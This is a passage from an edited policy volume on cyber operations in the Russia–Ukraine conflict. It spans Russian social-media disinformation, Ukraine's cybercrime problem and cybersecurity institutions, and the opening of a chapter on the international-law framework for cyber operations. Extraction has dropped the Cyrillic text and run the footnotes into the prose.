The next day, that number had risen to 8,386.
Russian mass media reported these numbers, but Rostov authorities apparently contradicted them, where the Gov- ernors office reported that the number of refugees did not exceed 712.12 In July 2014, 3-year-old boy was allegedly tortured and crucified by the Ukrainian military in a public square in Slovyansk, Ukraine.
The Russian state-run TV Channel One broadcast the eyewitness testimony of Galina Pyshnyak, who stated that she and others were forcibly brought to the central square to witness the public execution.
The interview took place at a refugee camp in Russias Rostov region and was widely dis- seminated on social media.13 However, Russian journalist Yevgeny Feldman of Novaya Gazeta, as well as journalists from Russias independent channel Dozhd, challenged the report with contradictory testimonies from multiple interviews in Slovyank, in which numerous residents denied any knowledge of the incident.14 Throughout 2014, the list of rumours from eastern Ukraine grew to be quite long: the Kyiv government and European Union were building concentration camps the forest was full of right-wing killers the May 9 Victory Day holiday had been cancelled15 property would be confiscated and use of the Russian language was prohibited.
On one occasion, terrified locals called the Donbas Water Company after social media informed them that the regions water supply had been poisoned.16 These stories can be contrasted with the Polite People campaign on Vkontakte, which supported the Russian invasion of Crimea with pictures of Russian troops posing alongside girls, mothers with children, the elderly, and pets.17 11  Odesa Doctor Or Random Dentist?
Claims Of Atrocities, Anti-Semitism Face Scrutiny, Radio Free Europe/Radio Liberty, 27 June 2015, http://www.rferl.org/content/ukraine-unspun-odesa-doctor-dentist-false-claim/25372684.html.
12 Rostov officials refuted information about thousands of Ukrainian refugees, StopFake.org, 6 June 2014, http://www.stopfake.
org/en/rostov-officials-refuted-information-about-thousands-of-ukrainian-refugees/.
13    ,         ,  , 12 July 2014, http://www.1tv.ru/news/world/262978.
14  ,     ,          (w/eng subs), 13 July 2014, https://www.youtube.com/watch?vUA1LE6iKMfk.
15 Lily Hyde, Rumors and disinformation push Donetsk residents into wartime siege mentality, Kyiv Post, 3 May 2014, http:// www.kyivpost.com/content/ukraine-abroad/rumors-and-disinformation-push-donetsk-residents-into-wartime-siege-men- tality-346131.html.
16 Ibid.
17 NATO Strategic Communications Centre of Excellence.
Analysis of Russias Information Campaign against Ukraine, 2014.
http://www.rferl.org/content/ukraine-unspun-odesa-doctor-dentist-false-claim/25372684.html http://www.stopfake.org/en/rostov-officials-refuted-information-about-thousands-of-ukrainian-refugees/ http://www.stopfake.org/en/rostov-officials-refuted-information-about-thousands-of-ukrainian-refugees/ http://www.1tv.ru/news/world/262978 https://www.youtube.com/watch?vua1le6ikmfk http://www.kyivpost.com/content/ukraine-abroad/rumors-and-disinformation-push-donetsk-residents-into-wartime-siege-mentality-346131.html http://www.kyivpost.com/content/ukraine-abroad/rumors-and-disinformation-push-donetsk-residents-into-wartime-siege-mentality-346131.html http://www.kyivpost.com/content/ukraine-abroad/rumors-and-disinformation-push-donetsk-residents-into-wartime-siege-mentality-346131.html 110 6 Troll Farming Who tweets in support of politics?
Who posts Facebook updates in support of military operations?
Of course, there are millions of true believers in the world, adherents to every cause under the sun.
However, it is also possible to fabricate support for anything, especially in cyberspace.
The social media offers great opportunities for state and non-state actors to use fake identities or automati- cally generated accounts to disseminate their narrative to audiences as widely as possible.
On 24 May 2014, hacked and leaked email correspondence (revealed on b0ltai.
org) allegedly from a company called the Internet Research Agency in St. Peters- burg, Russia, offered evidence of the existence of a professional troll farm, including the firms relationship to the Russian Government.
Media reports suggested that recruitment of employees had occurred prior to the onset of military operations, and that workers were tasked with writing 100 internet posts per day.18 For strategic communications, these developments are critical to understand- ing modern information operations including disinformation and PSYOPS, as a well-orchestrated social media campaign could significantly affect the prevailing political narrative.
It is possible to analyse the social media domain in an effort to separate fact from fiction, to investigate when accounts were created, whether they have credible content or a real networks of real friends, but to do this accurately and in a timely manner is an extraordinary challenge for anyone, including law enforcement and counterintelligence organisations.19 7 Conclusion The suspicious and seemingly targeted use of social media in the Russian-Ukrainian conflict offers considerable evidence that social media is being extensively used to support military actions on the ground.
To some degree, the information operations have generated fear, uncertainty, and doubt about the economic, cultural, and national security of Ukraine, especially in the eastern provinces where there are strong historical ties to Russia.
The goal of these social media operations may be to convince Ukrainians that the Euromaidan movement has led only to political chaos in the country, and has not been in Ukraines best long-term interests.
This message can be contrasted with 18  ,   .
, Novaya Gazeta, September 9, 2013, http://www.novayag- azeta.ru/politics/59889.html.
19 Kenneth Geers and Roelof Temmingh.
Virtual Plots, Real Revolution, The Virtual Battlefield: Perspectives on Cyber Warfare, ed.
Kenneth Geers and Christian Czosseck, 294-302 (Tallinn: NATO CCD COE, 2009).
Social media is extensively used to support military actions on the ground.
http://www.novayagazeta.ru/politics/59889.html http://www.novayagazeta.ru/politics/59889.html some examples of social media commentary from Crimea: that its incorporation into Russia has led to safety and stability on the Crimean peninsula.
The use of cyberspace both to attack the infrastructure and to influence peo- ples hearts and minds is a new phenomenon that has been increasingly used in recent conflicts to support military operations on the ground.
This kind of warfare will not disappear on the contrary the combination of actions which are targeted at infrastructure and human psychology will be used in more sophisticated and unpredictable ways in the future.
A three step approach could be recommended for security experts and national decision makers to prepare better to meet these kind of challenges: Identify.
Governments and defence organisations should enhance their capabilities to identify the detrimental use of social media.
Infor- mation campaigns which entail propaganda and automated or fake accounts to rapidly disseminate information should be closely mon- itored and analysed.
This also includes additional efforts in order to understand how these campaigns are organised and what effects they can have on public perception.
Challenge.
Examples by citizen journalists have shown that revealing false facts to the public is an effective approach in mitigating the effects of disinformation.
At the same time it is important not to engage in counter-propaganda as this fuels the information war and creates public distrust rather than diminishing the power of misinformation.
Humour perhaps could be more helpful in countering aggressive pro- paganda as it hampers the ability to achieve its aim  subduing the society of the target country.
The initiatives in Twitter like Darth- PutinKGB or Sputnik_Intl are good examples of how to challenge Russias disinformation campaign with irony and jokes.
Learn and prepare.
The development of the unifying strategic nar- rative  the story which entails the set of the values and beliefs of your country or organisation  is the best defence against propaganda which questions them.
A long-term educational effort to enhance crit- ical thinking and media (including social media) literacy would also contribute greatly to societys self-defence against manipulation.
https://twitter.com/darthputinkgb https://twitter.com/darthputinkgb https://twitter.com/sputnik_intl 113 Ukraine: A Cyber Safe Haven?
Nadiya Kostyuk University of Michigan 1 Introduction Since the end of the Cold War, there has been a proliferation in online criminal activity in Eastern Europe, and Ukraine is no exception.
Famous for its hacker com- munity, Ukraine ranks among the Top 10 countries in the world in cyber crime1 and number 15 as a source of Distributed Denial of Service (DDoS) attacks.2 In 2012, five Ukrainian nationals stole more than 72 million from U.S. bank accounts3 in 2013, Ukrainian hackers stole 40 million sets of debit and credit card details from the US retail chain Target4 in 2014, the RAND Corporation wrote that Russian and Ukrainian (the primary language of Ukraine) were the lingua franca of online hacker forums.5 In this light, it is natural to wonder if Ukraine is today a safe haven for cyber criminals.
To be sure, there have been some law enforcement successes, such as when numerous European countries and Europol (with the aid of the Ukrainian govern- ment) arrested five hackers who stole at least 2 million from banks all around the world.6 However, there are major countervailing factors at play in Ukraine, which include ongoing political, military, and economic crises and the absence of zhyvoii 1 Victor Zhora, e-mail to the author, July 30, 2015.
2         DDoS-.
Minfin, June 8, 2015.http://minfin.com.
ua/2015/06/08/7407564/.
3 Taylor Armerding.
Ukraine Seen as a Growing haven for Hackers March 13, 2012.
http://www.csoonline.com/arti- cle/2131155/network-security/ukraine-seen-as-a-growing--haven-for-hackers-.html.
4 Charles Riley and Jose Pagliery.
Target Will Pay Hack Victims 10 Million.
CNNMoney.
March 19, 2015.
http://money.cnn.
com/2015/03/19/technology/security/target-data-hack-settlement/.
5 Lillian Ablon, Martin C. Libicki, and Andrea A. Golay.
Markets for Cybercrime Tools and Stolen Data: Hackers Bazaar.
Rand Corporation, 2014.
6 Supra, note 4.
Chapter 13 114 potreby (urgent need),7 which together provide little hope that Ukraine will be able to climb down from its perch atop the worlds cyber crime ladder in the near future.
In many ways, Ukraine is a perfect case study to examine the vexing dynamics of cyber crime.
Its government has few cyber security regulations, its society is home to talented computer programmers, and its economy is struggling.
This chapter begins with a brief description of Ukraines current cyber crisis, to include the primary reasons why cyber crime flourishes there.
Next, it dis- cusses the future of the region based on inter- views with Ukrainian and Western cyberse- curity experts from public and private sectors and academia.
Finally, the chapter ends with recommendations based on best practices in cyber security  all of which can help Kyiv to improve its cyber security posture.
Beyond Ukraine, these insights can be applied to numerous other countries in the region.
2 Ukraine as a Cyber Safe Haven Once the internet conquered post-Soviet daily life, many talented computer pro- grammers who had already dabbled in illegal activities such as stealing music and movies realised that they could make a living as professional hackers.
There were few cyber security regulations in Ukraine and so, as in so many other countries, cyber crime quickly evolved from a mischievous hobby to a lucrative occupation.8 Several factors contributed to making Ukraine a cyber safe haven.
First, its Soviet school STEM (science, technology, engineering, and mathematics) education is among the best in the world.
Second, its underwhelming economic performance since independence in 1991 has led these STEM specialists to explore alternative career paths, often online.
Third, Ukraines social and cultural norms dictate that stealing from the West is not always a bad thing.
This factor is compounded by the relatively impersonal nature of cyberspace.9 At the policy level, cyber crimes such as stealing intellectual property and copyright infringement were not even considered illegal in Ukraine until recently.
For instance, the popular Russian social media website vkontakte.ru used to be a source of large-scale music and movie piracy.10 Ukraine recently has begun to develop a common lexicon on cyber security (a pre-requisite for progress in this 7 Vlad Styran, Skype interview, July 6, 2015.
8 Supra, note 5.
9 The author can testify through personal experience.
10 Kathryn Dowling.
VKontakte Case Puts Russian Music Piracy into Spotlight.
August 11, 2014.
http://www.bbc.com/news/ business-28739602.
In many ways, Ukraine is a perfect case study to examine the vexing dynamics of cyber crime.
115 new domain),11 but the multiple cyber units within the Ukrainian government12 still tend to operate independently, and rarely collaborate.13 Moreover, as in other East- ern European countries, government employees are poorly paid and lack resources, which in turn motivates skilled specialists to leave for the private sector.
Finally, due to the high level of corruption in Ukraine, even when a cyber criminal is caught, he or she can usually bribe an official to have the charges reduced or dropped.14 3 Ukraine as a Cyber Target Even though Ukraine is not a rich country and is relatively new to online banking, its enterprises nonetheless lost 65 million15 to cybercrime in 2014.16 The origin of these attacks is unclear, but numerous interviewees agreed that the cyber criminals were not physically located in Ukraine.
Most likely, they would follow the hack- ers first zapovid (commandment), the so-called gypsy rule: tam de zhyvesh, tam ne kradesh (you do not steal in the place where you live).17 When asked whether Russia could be a source of such attacks, Vlad Styran, an information security consultant at Berezha Security, answered affirmatively, but explained that some groups originally operating from Russia have moved to Ukraine, mostly to the self-proclaimed Donetsk National Republic (DNR) and the Luhansk National Republic (LNR).18 However, these groups may not be attacking Ukraine directly, but Western countries farther afield, similar to online criminals in Romania, Tur- key, and Belarus.19 In Ukraine, the domestic climate, technical capabilities, and resources are better suited to criminals who engage in credit card fraud,20 and as long as they steal money in small amounts, no one will touch them.21 Cyber criminals physically based in Ukraine have also begun to look for more comfort- able conditions in which to operate, as Ukrainian law enforcement agencies have begun to collaborate with Western agencies.22 Thus the number of cyber criminals in Ukraine may finally be declining.23 The conflict in eastern Ukraine has given rise to numerous high-level cyber attacks.
As part of its military operations, Russia has used cyber warfare tactics against Ukrainian websites, some of which are physically hosted in Ukraine, while some are 11 Oleksandr V. Potii, Oleksandr V. Korneyko, and Yurii I. Gorbenko.
Cybersecurity in Ukraine: Problems and Perspectives.
Information and Security: An International Journal 32 (2015): 2.
12 More detailed description will be provided later 13 Kostiantyn Kosrun, Skype Interview, July 6, 2015.
14 Glib Pakharenko, Interview, June 29, 2015.
15   Hryvnia  Ukrainian unit of currency.
16 As mentioned by Guzii who works at the MVD department that deals with card (credit and debit) fraud operations.
17 Supra, note 14 supra, note 7.
18 The interviewee referred to the fact that it became quite hard for hackers to operate in Russia without being under constant government control.
19 Supra, note 7.
20 Glib Pakharenko, e-mail to the author, July 5, 2015.
21 Ibid.
22 Ibid.
23 Ibid.
116 not.24 National Security Agency (NSA) Director Vice Admiral Michael Rogers stated that Russia conducted cyber operations to support its Crimea conquest.25 Indepen- dent researchers also discovered a cyber espionage operation called Armageddon that was designed to provide a military advantage to Russian leadership by targeting Ukrainian government and law enforcement agencies,26 and included DDoS attacks against Ukrainian and NATO media outlets, and targeted attacks against Ukrainian election commission websites.27 In all, hackers hit Ukrainian government, business, online media, and e-commerce sites.28 Finally, it should be noted in this context that Ukraines information and telecommunication networks generally use Russian hard- ware and software, a situation that would significantly help Russia to spy on its south- ern neighbour.29 4 Ukraines Cyber Security Agenda While cyber crime has flourished in Ukraine, the same cannot be said for the devel- opment of Kyivs cyber security policy, which is simply not currently a high priority.
In Ukraine, only 41.8 of the population is now online, compared to 84.2 in the United States and 61.4 in Russia.30 Fur- thermore, the majority of Ukrainian internet connectivity lies in the countrys major cities and very few electronic devices are used for online financial transactions.
Currently, there is little cyber security leg- islation in Ukraine.
The more prominent laws include On Information, On State Secrets, On Data Protection in Information and Telecommunication Systems, On the National Security of Ukraine, and On State Service for Special Communication and Information Protection of Ukraine.
In 2012, Parliament began to propose amendments to these laws.
Today, there is an increasing focus on cyber crime awareness, and the government is in the process of creating a new ministry devoted to information technology (IT).
24 Sam Jones.
Ukraine PMs Office Hit by Cyber Attack Linked to Russia.
Financial Times, August 7, 2014.
http://www.ft.com/ intl/cms/s/0/2352681e-1e55-11e4-9513-00144feabdc0.html.
25 Bill Gertz.
Inside the Ring: Cybercoms Michael Rogers Confirms Russia Conducted Cyberattacks against Ukraine.
Washing- ton Times, March 12, 2014.
http://www.washingtontimes.com/news/2014/mar/12/inside-the-ring-cybercoms-michael-rogers- confirms-/?pageall.
26 LookingGlass Cyber Threat Intelligence Group Links Russia to Cyber Espionage Campaign Targeting Ukrainian Government and Military Officials.
Looking Glass, April 29, 2015.
27 Tony Martin-Vegue.
Are We Witnessing a Cyber War between Russia and Ukraine?
Dont Blink  You Might Miss It.
CSO Online, April 24, 2015.
http://www.csoonline.com/article/2913743/cyber-attacks-espionage/are-we-witnessing-a-cyber-war- between-russia-and-ukraine-dont-blink-you-might-miss-it.html.
28 Primarily with DDoS attacks from supra, note 11.
29 For example, via Russias  - , or System for Operative Investigative Activities, a technical system run by the Russian security services to search and surveil telephone and Internet communications.
Supra, note 11, page 2 Andrei Soldatov, Skype interview, July 15, 2015.
30 Online Panel Ukraine and Online Data Collection Ukraine  DataDiggers Online Data Collection.
DataDiggers Online Data Collection.
July 27, 2015.
http://www.datadiggers.ro/?page_id75217.
While cyber crime has flourished in Ukraine, the same cannot be said for the development of Kyivs cyber security policy.
117 Victor Zhora, CEO and Co-Founder at Infosafe IT LLC, contends that a major problem with existing Ukrainian legislation is the lack of a clear definition for cyber crime.
The only operational definition is in Article 361 of the Criminal Codex of Ukraine: Illegal interference with the operation of computers (PCs), automated systems, computer networks or telecommunications networks.31 However, it is not clear what illegal interference actually means.
Recently, lawmakers have considered new legislation  the Cybersecurity Law of Ukraine  which seeks to: update existing laws create conditions for cooperation between the private and publics sectors protect critical information infrastructure develop a com- prehensive legal framework build a secure national security network educate future specialists fight cyber crime and cyber terrorism strengthen the states defence in cyber- space prevent other states from interfering in Ukraines internal affairs neutralise attacks on Ukraines information resources and ensure Ukraines full participation in European and regional cybersecurity organisations.
32 However, such a comprehensive agenda faces numerous acute challenges before it can be properly implemented.33 For example, the strategy of creating a secure national segment of cyberspace lacks a working definition of critical national infrastructure (CNI), as well as a valid list of CNI.
At this stage in Ukraines economic development, there is little CNI with internet-based management, but that number is beginning to rise.34 Another example is ensuring full participation of Ukraine in European and regional systems.
Although Ukrainian cyber security experts already share information and intelligence with Western colleagues, this collaboration is not nearly as effective as it could be, because the West does not yet respect [them] and do not share information with [them].35 It is debatable, given the ongoing war in eastern Ukraine, how urgent this process is, especially given that all countries are cur- rently struggling to protect CNI.
Even if adopted, the draft Cybersecurity Law of Ukraine will take years to fully implement.36 Therefore, for the foreseeable future, Ukrainian CNI such as telecoms,37 banks,38 and insurance companies39 will rely on reasonably sound private sector approaches to their cyber security challenges.40 31 i    -  (),  , supra, note 1.
32 Supra, note 11, figure 1-1.
33 Some of those challenges were mentioned earlier.
34 Ukraines CNI objects are not controlled via the Internet, as mentioned in the skype interview with Vlad Styran on July 6, 2015 (Supra, note 7).
35 Supra, note 14.
36 Its implementation has three stages: 1) 2014-2016 2) 2016-2017 and 3) 2017  the following years.
37 Telecom operators are mostly protected as a huge portion of the population uses these services.
They do no necessarily suffer from cyber attacks but they suffer from their clients abuse of the system.
From supra, note 7.
38 Banks are in second place in terms of protection and in first place in terms of damage..
It is quite a new trend in Ukraine as banks mostly operate using their clients money.
Last year, we witnessed the first cyber attacks on Ukrainian banks.
From supra, note 7.
39 Insurance companies take the third place on the level of protection.
They are active in protecting their companies from cyber attacks not because they are subjects to those attacks, but mostly because they are part of some international group, which requires them to follow the EU or U.S. requirements or because they need to create their image.
Supra, note 7.
40 Ibid.
For the foreseeable future, Ukrainian CNI will rely on reasonably sound pri- vate sector approaches.
118 5 Cybersecurity Organisations Figure 1-1 depicts Ukraines governmental organisations that deal with cyber crime: the Security Service of Ukraine (SBU) the State Service of Special Commu- nication and Information Protection of Ukraine (SSSCIP) the Ministry of Interna- tional Affairs of Ukraine (MVS) with its Department on Combating Cybercrimes the Ministry of Defence of Ukraine (MO) with its Electronic Warfare Troops the Defence Intelligence Service and the Foreign Intelligence Service.41 These agen- cies, of course, have different domains and priorities, and they rarely collaborate on common problems.42 For example, MVD cyber units have a difficult time working with the SBU, which does not focus on external affairs, a crucial element in locat- ing international hackers.43 Glib Pakharenko, the ISACA Kyiv Chapter membership director, said: When NATO meets with various cyber forces in Ukraine, they only observe how these forces fight with each other and blame each other for failures.44 SSSCIP is the only organisation that works exclusively on cyber security issues.
Its main activities include: interaction with the administration domain UA.
protec- tion of state information resources interaction with state authorities international cooperation in the protection of information resources unified antivirus protection system and determining the level of protection of information and telecommuni- cation authorities systems.45 SSSCIP has numerous internal offices, including the Centre for Antivirus Information Protection (CAIP),46 the Assessment of Protection of State Information Resources, the Cybernetic Protection System, and the Registry 41 Supra, note 11.
42 Supra, note 7.
43 Ibid.
44 Supra, note 7.
45 Supra, note 39.
46 Supra, note 11.
Figure 1-1  Organisation of the cyber security system of Ukraine Council of National Security and Defence The Ministry of Defense of Ukraine Ministry of Internal Affairs of Ukraine Intelligence Agencies Security Service of Ukraine SSSCIP of Ukraine The President of Ukraine Verkovna Rada of Ukraine 119 of Information and Telecommunication Authorities Systems.
Its Computer Emer- gency Response Team of Ukraine (CERT-UA) handles international cooperation.
Each agency faces its own unique challenges and suffers from its own, unique criticism.
For example, one interviewee said of CERT-UA: [its specialists] just visit Europe and tell [the Europeans] how amazing they are.
They [only] do PR and make contacts in Ukraine and abroad.47 Others, however, disagreed, arguing that in 2013 CERT-UA processed 232 incident reports from foreign CERTs48 and was quite effective despite significantly limited powers, a lack of qualified specialists, insufficient resources, and a low level of outside trust.49 Two inter- viewees, Kostiantyn Korsun of Berezha Secu- rity and Glib Pakharenko of ISACA Kyiv, added that CERT-UAs bigger problem is the countrys almost exclusive current focus on fighting Russian aggression in eastern Ukraine.50 At the MVD, Vasyl Guzii, a specialist in kartkove shakhraistvo (credit card fraud operations), asserted that no sdelka iz pravosudiiem (deal with law enforcement agen- cies in Russian) exists in Ukraine.51 However, Styran was not so sure, suggesting that verbyvannia (recruitment) was common.52 In effect, this means that instead of arrest- ing hackers, law enforcement agencies simply offer krysha (protection)53 in exchange for future favours.54 The overall level of corruption in Ukraine is high, even at the SBU.55 Despite everything, there is progress to report.
Beyond the new draft law on cyber security and the proposed new IT ministry56 Ukraine is setting up an Intera- gency Board57 to counter strategic cyber threats (see Figure 1-2).
This initiative will of course take time to blossom, and there are already doubts about technical talent, bureaucratic implementation, and overall SBU power in this new initiative.58 So, for the time being, it is likely that the Ukrainian government will continue to rely on an approach favoured in the United Kingdom: pereklastu or delegating many cyber crime-related tasks, including client protection, to the private sector.59 47 Supra, note 7.
48 Supra note, 11.
49           ( ),     , ,       -,      .
Supra, note 1.
50 However, Korsun pointed out that nearly all countries  especially in Eastern Europe  face the same challenges of low salaries and poor skillsets.
He added that the SBU, in this regard, is not so different to CERT-UA.
Supra, note 13.
51 Vlad Styran.
Securit13 Podcast :  30: Let the Magic Begin.
March 20, 2015.
http://securit13.libsyn.com/-30-let-the- magic-begin.
52 Supra, note 7.
53 Roofing means that the law enforcement agencies do not pay attention to criminals misbehavior in exchange for favors.
54 Supra, note 14.
55 Ibid.
56 Olha Karpenko.
IT.
AIN, June 18, 2015.
http://ain.ua/2015/06/18/586897.
57 Supra, note 11.
58 , .
IiI, June 25, 2015.
http://biz.liga.net/all/it/stati/3046442-deputaty-doshli-do-inter- neta-est-zakonoproekt-o-kibeprostranstve.htm.
59 Supra, note 7.
CERT-UAs bigger prob- lem is the countrys almost exclusive focus on fighting Russian aggres- sion in eastern Ukraine.
120 6 Recommendations The following best practices could significantly strengthen Ukraines cyber security posture for the future.
6.1 National Metrics.
Analysts believe that cyber crime is rife in Ukraine, but there are no accurate measurements or reliable studies that have docu- mented this problem.
Some Western60 and Ukrainian companies61 are now addressing this issue, but without better data and analysis, it is hard to separate fact from fiction.
Prevention.
Until Ukraine invests more in proactive cyber defence, it will remain in a reactive mode vis--vis cyber criminals, a serious problem in the age of light-speed communications.
60 Such as RAND.
61 Supra, note 14.
Figure 1-2  Proposed organisation of Ukraines system for cyber security Verkhovna Rada of Ukraine Council of National Security and Defense The President of Ukraine Security Service of Ukraine SSSCIP of Ukraine Ministry of Internal Affairs of Ukraine The Ministry of Defense of Ukraine State Agency of Cybersecurity The General Staff of the Armed Forces of Ukraine Interagency Board on countering cyber threats The Prime Minister of Ukraine 121 Corruption.
Ukraine must address bribes, protection,62 and the uneth- ical recruitment of hackers.
In one infamous case, a fraudulent cyber crime call centre, which in fact was used to steal credit card informa- tion, actually operated from a Ukrainian prison.63 Culture.
Ukraine must promote cyber crime awareness and enforce existing law.
Ukrainian citizens must recognise that stealing money from the West is against the law, and they must be willing to report such crimes to law enforcement.64 Education.
Kyiv must invest in the academic side of cyber security, to include software engineering, critical infrastructure protection, and more.65 Some steps have already been taken, including the creation of kiberpolitseiski (cyber police) departments at the Kyiv and Kharkiv MVD Institutes66 further, the MVD has collaborated with various departments of the Kyiv Polytechnic Institute (KPI).
The Science Park of the KPI promotes science-intensive products on domestic and for- eign markets that provide better cybersecurity solutions.
67,68 Civil Society.
The Ukrainian Government requires pressure from below to assist in the implementation of so many needed changes.
Even from abroad, the Ukrainian diaspora can help.
Oversight.
Ukrainian lawmakers often receive foreign assistance to help the country adopt and implement reform, but currently there is no effective oversight body helping to manage this process.69 Public sector labour force.
The Ukrainian government must find a way to hire qualified cyber security professionals and retain them with quality training and attractive salaries.
It must be said that this chal- lenge is not unique to Ukraine.70 6.2 Regional and International Collaboration.
Ukrainian cyber security institutions must develop a higher level of trust with their international counterparts, especially in the West.
This begins with practical cooperation on current high-inter- est criminal cases, to include resource and information sharing.
In the past, such collaboration has not always been effective, and sometimes never occurred at all.71 Points of departure include Mutual Legal Assis- 62 Ibid.
63 Supra, note 7.
64 These two measures will be discussed later.
65 So far, eighteen universities carry out training specialists in information security on bachelors and masters levels in Ukraine.
From: Standards of higher education 1701 Information Security, accessed on July 21, 2015, http://iszzi.kpi.ua/index.php/ua/ biblioteka/normativno-pravova-baza/nmk-informatsijna-bezpeka.html .
66 Supra, note 50.
67 Ibid.
68 Science Park Kyivska Polytechnika.
Accessed September 1, 2015.
69 Supra, note 7.
70 Supra, note 14.
71 Ibid.
tance Treaties (MLAT) and the European Convention on Cybercrime which Ukraine ratified in 2005.
Western Assistance.
Most of the digital equipment in Ukraine was manufactured in Russia, so there is an urgent need for EU and NATO nations to assist Ukraine in replacing it.
Some concrete steps have already been taken: NATO has allocated funds for Ukraines cyber defences, command and control structures, and logistics capabilities72 Microsoft announced a partnership with the Ukrainian Govern- ment on cyber security73 U.S.
Senators Mark Kirk and Mark Warner announced a bipartisan amendment creating a law enforcement part- nership between the United States and Ukraine to combat cybercrime and improve cybersecurity74 and Romania launched an initiative to support the Ukraine Cyber Defence Trust Fund.75 Cyber security strategy.
Ukraine must harmonise its cyber security pol- icies and legislation with those of the most technologically advanced members of the international community.
The European Network and Information Security Agency (ENISA) has a strong record of provid- ing guidance in cyber security policy development and best practices Ukraine should take full advantage of this resource.
7 Conclusion Ukraine, with its talented hackers and minimal cyber security regulations, is a per- fect case study to examine the many challenges that Eastern European countries face as they seek to improve their cyber secu- rity posture.
Ukraine has more than enough STEM expertise, but it must be refocused and repurposed toward a more transparent and accountable legal and cultural online envi- ronment.
The development of Ukrainian civil society can accomplish all of these objectives, but the international community  including the Ukrainian diaspora  can help Kyiv to realise them much more quickly.
Unfortunately, however, Ukraines current political, economic, and military crises are likely to prevent it from climbing down the worlds cyber crime ladder in the near term.
72 Andrew Rettman.
Mr. Putin Isnt Done in East Ukraine.
EUObserver, June 26, 2015.
https://euobserver.com/defence/129317.
73 Ukrainian Government Partners with Microsoft on Cyber Security.
Ukrainian Digital News, April 7, 2015.
http://uadn.
net/2015/04/07/ukrainian-government-partners-with-microsoft-on-cyber-security/.
74 Kirk, Warner to Introduce Cybersecurity Amendment to Ukrainian Aid Bill on Monday.
Kirk Senate.
March 23, 2014.
http:// www.kirk.senate.gov/?ppress_releaseid1033.
75 Romania Turns Hacking Crisis into Advantage, Helping Ukraine Fight Russian Cyber Espionage.
Azerbaijan State News Agen- cy, May 18, 2015.
http://azertag.az/en/xeber/Romania_turns_hacking_crisis_into_advantage_helping_Ukraine_fight_Rus- sian_cyber_espionage-855844.
Ukraine has more than enough STEM expertise, but it must be refocused and repurposed.
123 A Legal Framework for Cyber Operations in Ukraine Jan Stinissen NATO CCD COE 1 Introduction Do the cyber attacks that we have seen during the Ukraine conflict constitute cyber- war?
This chapter considers this question from a legal perspective.
The term cyber- war has no precise legal meaning.
Even the term war is less important than it used to be.
Contemporary international law distinguishes armed conflict, armed attack, and use of force, but the question is how to place cyber conflict into that frame- work.
In Ukraine, are we seeing cyber armed conflict or merely cyber crime?
Cyber operations have to be considered within the context of the whole conflict.
Although cyber can be used as stand-alone operation, the more likely case  and this holds true in Ukraine  is that cyber is used as a facilitator for other, more traditional types of warfare.
The law applicable to the conflict as a whole should be applied to the cyber activities that are part of it.
In other words, the wider con- text determines the legal framework for cyber operations.
Particularly relevant is whether the conflict in Ukraine is an armed conflict that leads to the application of the Law of Armed Conflict (or international humanitarian law).
This chapter will first briefly outline the applicability of international law to cyberspace.
Then it will describe the legal framework of the conflict, related to the subsequent phases of the conflict, from the protests at Maidan Square in November 2013 to the present day.
After that, the associated cyber activities will be placed in this legal context.
Chapter 14 124 2 International Law and Cyber Operations The applicability of international law to cyberspace has long been debated.
Most Western countries posit that existing international law applies.
Some countries, such as China and Russia, have proposed a unique and separate set of norms.1 Today, it is generally recognised that international law applies, which is illustrated by the 2013 report of the Governmental Group of Experts, established by the United Nations (UN) General Assembly.
It states that International law, and in particular the Charter of the United Nations, is applicable and is essential to maintaining peace and stability and promoting an open, secure, peaceful and accessible ICT environ- ment.2 However, the better question now concerns exactly how to apply interna- tional law in the cyber domain, and this is not a debate that will be resolved in the near future.3 NATO recognises that international law, including international humanitarian law and the UN Charter, applies in cyberspace.4 It also considers cyber defence to be an intrinsic part of its collective defence task, and has declared that a cyber attack could have the impact as harmful as a conventional armed attack, which could lead to the invocation of Article 5 of the North Atlantic Treaty.5 In this chapter, the author takes as a premise that existing international law applies to cyberspace.
3 Legal Framework for the Conflict in Ukraine Cyber activities conducted as part of a wider conflict are governed by that conflicts legal framework.
This section will describe the wider conflict in Ukraine.
Section 1.4 will examine specific cyber incidents and how they fit into the larger legal puzzle.
1 United Nations, General Assembly, Letter Dated 9 January 2015 from the Permanent Representatives of China, Kazakhstan, Kyr- gyzstan, the Russian Federation, Tajikistan and Uzbekistan to the United Nations Addressed to the Secretary-General, A/69/723, 2015.
An earlier version was submitted in September 2011.
2 United Nations, General Assembly, Report of the Group of Governmental Experts (GGE) on Developments in the Field of Infor- mation and Telecommunications in the Context of International Security, A/68/98, 24 June 2013.
The Group consisted of repre- sentatives of 15 nations, including the United States, Russia, and China.
In their Report of July 2015, the GGE recommended a set of norms of behavior of states in cyberspace.
For an analysis of this report, see Henry Rigas and Tom Minrik.
2015 UN GGE Report: Major Players Recommending Norms of Behaviour, Highlighting Aspects of International Law, INCYDER da- tabase , NATO CCD COE, 31 August 2015, https://ccdcoe.org/2015-un-gge-report-major-players-recommending-norms-be- haviour-highlighting-aspects-international-l-0.html.
3 One of the prominent publications in this field is the Tallinn Manual.
It discusses applicability of international law to cyber warfare, in particular the legal framework for the use of force and the law of armed conflict.
The Tallinn Manual is prepared by an international group of experts on the invitation by the NATO Cooperative Cyber Defence Centre of Excellence, Tallinn, Estonia: Michael N. Schmitt, gen.
ed.,
Tallinn Manual on International Law Applicable to Cyber Warfare (Cambridge: Cam- bridge University Press, 2013).
Currently the Manual is under revision, a project coined Tallinn 2.0, including an analysis of international law applicable to cyber operations below the threshold of armed attack.
4 Wales Summit Declaration, 5 September 2014, para 72.
5 NATOs fundamental principle which states that if a NATO Ally is the victim of an armed attack, each and every other mem- ber of the Alliance will consider this act of violence as an armed attack against all members and will take the actions it deems necessary to assist the Ally attacked, What is Article 5?,
NATO, last updated 18 February 2005, http://www.nato.int/terrorism/ five.htm.
Cyber activities conducted as part of a wider conflict are governed by that con- flicts legal framework.
125 3.1 Euromaidan (November 2013  February 2014) A few weeks before the European Union (EU) Eastern Partnership Summit in Vil- nius, Lithuania, on 27-28 November 2013, during which the Ukraine  EU Associa- tion Agreement was to be signed, tensions in Ukraine were rising between those in favour and those opposed to closer relations with the EU.
On 21 November, Presi- dent Viktor Yanukovych decided to abandon the Association Agreement.
This was followed by massive pro-EU demonstrations in Maidan Nezalezhnosti (Indepen- dence Square) in Kyiv.
The clashes with the authorities grew violent.
By mid-Febru- ary, the events had escalated significantly, and had taken over 100 lives.
Before the Euromaidan protests began, tensions in Ukraine had already trig- gered hostile activity in cyberspace.
